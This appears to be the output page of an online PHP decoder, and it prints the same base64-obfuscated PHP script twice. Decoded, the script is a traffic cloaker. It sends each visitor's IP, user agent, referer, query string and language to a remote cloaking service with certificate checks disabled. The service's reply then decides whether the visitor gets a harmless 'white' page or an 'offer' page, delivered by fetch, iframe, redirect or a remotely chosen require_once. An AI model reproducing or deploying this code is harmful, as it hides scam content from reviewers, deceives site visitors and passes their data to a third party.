Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); mb_internal_encoding(base64_decode('VVRGLTg=')); ..

Decoded Output download

<?php     error_reporting(0); 
    mb_internal_encoding(base64_decode('VVRGLTg=')); 
 
 
    $xewfrmyp0 = $_SERVER[base64_decode('UkVNT1RFX0FERFI=')]; 
    $fguxewxk1 = [ 
        base64_decode('SFRUUF9DTElFTlRfSVA='),  
        base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),  
        base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),  
        base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),  
        base64_decode('SFRUUF9YX0NPTUlOR19GUk9N'),  
        base64_decode('SFRUUF9DT01JTkdfRlJPTQ=='),  
        base64_decode('SFRUUF9GT1JXQVJERURfRk9SX0lQ'),  
        base64_decode('SFRUUF9YX1JFQUxfSVA=') 
    ]; 
 
     
    if ( ! empty($fguxewxk1)) { 
        foreach($fguxewxk1 AS $szpmsuyd2) 
        { 
            if ( ! empty($_SERVER[$szpmsuyd2])) { 
                $xewfrmyp0 = trim($_SERVER[$szpmsuyd2]); 
                break; 
            } 
        } 
    } 
 
 
    $brvnvvqh3 = [ 
        base64_decode('bGFiZWw=')         => base64_decode('ZmI3YWU0MWI3ZmFiZGQ5Yzc5ZWE5MjI0NGQwZTVhZjY='),  
        base64_decode('dXNlcl9hZ2VudA==')    => $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')],  
        base64_decode('cmVmZXJlcg==')       => ! empty($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]) ? $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')] : '',  
        base64_decode('cXVlcnk=')         => ! empty($_SERVER[base64_decode('UVVFUllfU1RSSU5H')]) ? $_SERVER[base64_decode('UVVFUllfU1RSSU5H')] : '',  
        base64_decode('bGFuZw==')          => ! empty($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')]) ? $_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')] : '', 
        base64_decode('aXBfYWRkcmVzcw==')    => $xewfrmyp0 
    ]; 
         
 
    if (function_exists(base64_decode('Y3VybF92ZXJzaW9u'))) { 
 
        $brvnvvqh3 = http_build_query($brvnvvqh3); 
        $rwlrcytd4 = curl_init(base64_decode('aHR0cHM6Ly9jbG9ha2l0LmhvdXNlL2FwaS92MS9jaGVjaw==')); 
        curl_setopt_array($rwlrcytd4, [ 
            CURLOPT_RETURNTRANSFER  => TRUE, 
            CURLOPT_CUSTOMREQUEST   => base64_decode('UE9TVA=='), 
            CURLOPT_SSL_VERIFYPEER  => FALSE, 
            CURLOPT_TIMEOUT         => 15, 
            CURLOPT_POSTFIELDS      => $brvnvvqh3 
        ]); 
 
 
        $znecswpk5 = curl_exec($rwlrcytd4); 
        $atwrbbwl6   = curl_getinfo($rwlrcytd4); 
        curl_close($rwlrcytd4); 
 
 
        if ( ! empty($atwrbbwl6) && $atwrbbwl6[base64_decode('aHR0cF9jb2Rl')] == 200) { 
            $iuproicm7 = json_decode($znecswpk5, TRUE); 
 
             
            if ( ! empty($iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')]) && $iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')] == base64_decode('c3Vic2NyaXB0aW9uX2V4cGlyZWQ=')) { 
                exit(base64_decode('WW91ciBTdWJzY3JpcHRpb24gRXhwaXJlZC4=')); 
            } 
            
 
            if ( ! empty($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]) && ! empty($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) { 
 
                                $iyzbguqc8 = [base64_decode('c3Ns') => [base64_decode('dmVyaWZ5X3BlZXI=') => FALSE, base64_decode('dmVyaWZ5X3BlZXJfbmFtZQ==') => FALSE], base64_decode('aHR0cA==') => [base64_decode('aGVhZGVy') => base64_decode('VXNlci1BZ2VudDog') . $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]]]; 
                 
                                if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('b2ZmZXI=')) { 
                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('bG9hZGluZw==')) { 
                        if (filter_var($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FILTER_VALIDATE_URL)) { 
                            echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8))); 
                        } elseif (file_exists($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) { 
                            if (pathinfo($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) { 
                                echo file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)); 
                            } else { 
                                require_once($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')]); 
                            } 
                        } else { 
                            exit(base64_decode('T2ZmZXIgUGFnZSBOb3QgRm91bmQu')); 
                        } 
                    } 
 
                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) { 
                        header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], TRUE, 302); 
                        exit(0); 
                    } 
 
                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('aWZyYW1l')) { 
                        echo base64_decode('PGlmcmFtZSBzcmM9Ig==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBhbGlnbj0ibGVmdCI+PC9pZnJhbWU+IDxzdHlsZT4gYm9keSB7IHBhZGRpbmc6IDA7IG1hcmdpbjogMDsgfSBpZnJhbWUgeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJvcmRlcjogMDsgfSA8L3N0eWxlPg=='); 
                    } 
                } 
 
 
                                if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('d2hpdGU=')) { 
                    if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('bG9hZGluZw==')) { 
                        if (filter_var($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FILTER_VALIDATE_URL)) { 
                            echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8))); 
                        } elseif (file_exists($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')])) { 
                            if (pathinfo($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) { 
                                echo file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)); 
                            } else { 
                                require_once($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]); 
                            } 
                        } else { 
                            exit(base64_decode('V2hpdGUgUGFnZSBOb3QgRm91bmQu')); 
                        } 
                    } 
 
                    if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) { 
                        header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], TRUE, 302); 
                        exit(0); 
                    } 
                } 
            }  
        } else { 
            exit(base64_decode('VHJ5IGFnYWluIGxhdGVyLg==')); 
        } 
    } else { 
        exit(base64_decode('Y1VSTCBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoZSBob3N0aW5nLg==')); 
    } 
 
 
?>

Did this file decode correctly?

Original Code

<?php     error_reporting(0);
    mb_internal_encoding(base64_decode('VVRGLTg='));


    $xewfrmyp0 = $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];
    $fguxewxk1 = [
        base64_decode('SFRUUF9DTElFTlRfSVA='), 
        base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='), 
        base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'), 
        base64_decode('SFRUUF9GT1JXQVJERURfRk9S'), 
        base64_decode('SFRUUF9YX0NPTUlOR19GUk9N'), 
        base64_decode('SFRUUF9DT01JTkdfRlJPTQ=='), 
        base64_decode('SFRUUF9GT1JXQVJERURfRk9SX0lQ'), 
        base64_decode('SFRUUF9YX1JFQUxfSVA=')
    ];

    
    if ( ! empty($fguxewxk1)) {
        foreach($fguxewxk1 AS $szpmsuyd2)
        {
            if ( ! empty($_SERVER[$szpmsuyd2])) {
                $xewfrmyp0 = trim($_SERVER[$szpmsuyd2]);
                break;
            }
        }
    }


    $brvnvvqh3 = [
        base64_decode('bGFiZWw=')         => base64_decode('ZmI3YWU0MWI3ZmFiZGQ5Yzc5ZWE5MjI0NGQwZTVhZjY='), 
        base64_decode('dXNlcl9hZ2VudA==')    => $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')], 
        base64_decode('cmVmZXJlcg==')       => ! empty($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]) ? $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')] : '', 
        base64_decode('cXVlcnk=')         => ! empty($_SERVER[base64_decode('UVVFUllfU1RSSU5H')]) ? $_SERVER[base64_decode('UVVFUllfU1RSSU5H')] : '', 
        base64_decode('bGFuZw==')          => ! empty($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')]) ? $_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')] : '',
        base64_decode('aXBfYWRkcmVzcw==')    => $xewfrmyp0
    ];
        

    if (function_exists(base64_decode('Y3VybF92ZXJzaW9u'))) {

        $brvnvvqh3 = http_build_query($brvnvvqh3);
        $rwlrcytd4 = curl_init(base64_decode('aHR0cHM6Ly9jbG9ha2l0LmhvdXNlL2FwaS92MS9jaGVjaw=='));
        curl_setopt_array($rwlrcytd4, [
            CURLOPT_RETURNTRANSFER  => TRUE,
            CURLOPT_CUSTOMREQUEST   => base64_decode('UE9TVA=='),
            CURLOPT_SSL_VERIFYPEER  => FALSE,
            CURLOPT_TIMEOUT         => 15,
            CURLOPT_POSTFIELDS      => $brvnvvqh3
        ]);


        $znecswpk5 = curl_exec($rwlrcytd4);
        $atwrbbwl6   = curl_getinfo($rwlrcytd4);
        curl_close($rwlrcytd4);


        if ( ! empty($atwrbbwl6) && $atwrbbwl6[base64_decode('aHR0cF9jb2Rl')] == 200) {
            $iuproicm7 = json_decode($znecswpk5, TRUE);

            
            if ( ! empty($iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')]) && $iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')] == base64_decode('c3Vic2NyaXB0aW9uX2V4cGlyZWQ=')) {
                exit(base64_decode('WW91ciBTdWJzY3JpcHRpb24gRXhwaXJlZC4='));
            }
           

            if ( ! empty($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]) && ! empty($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {

                                $iyzbguqc8 = [base64_decode('c3Ns') => [base64_decode('dmVyaWZ5X3BlZXI=') => FALSE, base64_decode('dmVyaWZ5X3BlZXJfbmFtZQ==') => FALSE], base64_decode('aHR0cA==') => [base64_decode('aGVhZGVy') => base64_decode('VXNlci1BZ2VudDog') . $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]]];
                
                                if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('b2ZmZXI=')) {
                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('bG9hZGluZw==')) {
                        if (filter_var($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FILTER_VALIDATE_URL)) {
                            echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
                        } elseif (file_exists($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {
                            if (pathinfo($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
                                echo file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
                            } else {
                                require_once($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')]);
                            }
                        } else {
                            exit(base64_decode('T2ZmZXIgUGFnZSBOb3QgRm91bmQu'));
                        }
                    }

                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
                        header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], TRUE, 302);
                        exit(0);
                    }

                    if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('aWZyYW1l')) {
                        echo base64_decode('PGlmcmFtZSBzcmM9Ig==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBhbGlnbj0ibGVmdCI+PC9pZnJhbWU+IDxzdHlsZT4gYm9keSB7IHBhZGRpbmc6IDA7IG1hcmdpbjogMDsgfSBpZnJhbWUgeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJvcmRlcjogMDsgfSA8L3N0eWxlPg==');
                    }
                }


                                if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('d2hpdGU=')) {
                    if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('bG9hZGluZw==')) {
                        if (filter_var($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FILTER_VALIDATE_URL)) {
                            echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
                        } elseif (file_exists($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')])) {
                            if (pathinfo($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
                                echo file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
                            } else {
                                require_once($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]);
                            }
                        } else {
                            exit(base64_decode('V2hpdGUgUGFnZSBOb3QgRm91bmQu'));
                        }
                    }

                    if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
                        header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], TRUE, 302);
                        exit(0);
                    }
                }
            } 
        } else {
            exit(base64_decode('VHJ5IGFnYWluIGxhdGVyLg=='));
        }
    } else {
        exit(base64_decode('Y1VSTCBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoZSBob3N0aW5nLg=='));
    }


?>

Function Calls

None

Variables

None

Stats

MD5 a4df0fb35f43508f85af6e24218a942d
Eval Count 0
Decode Time 48 ms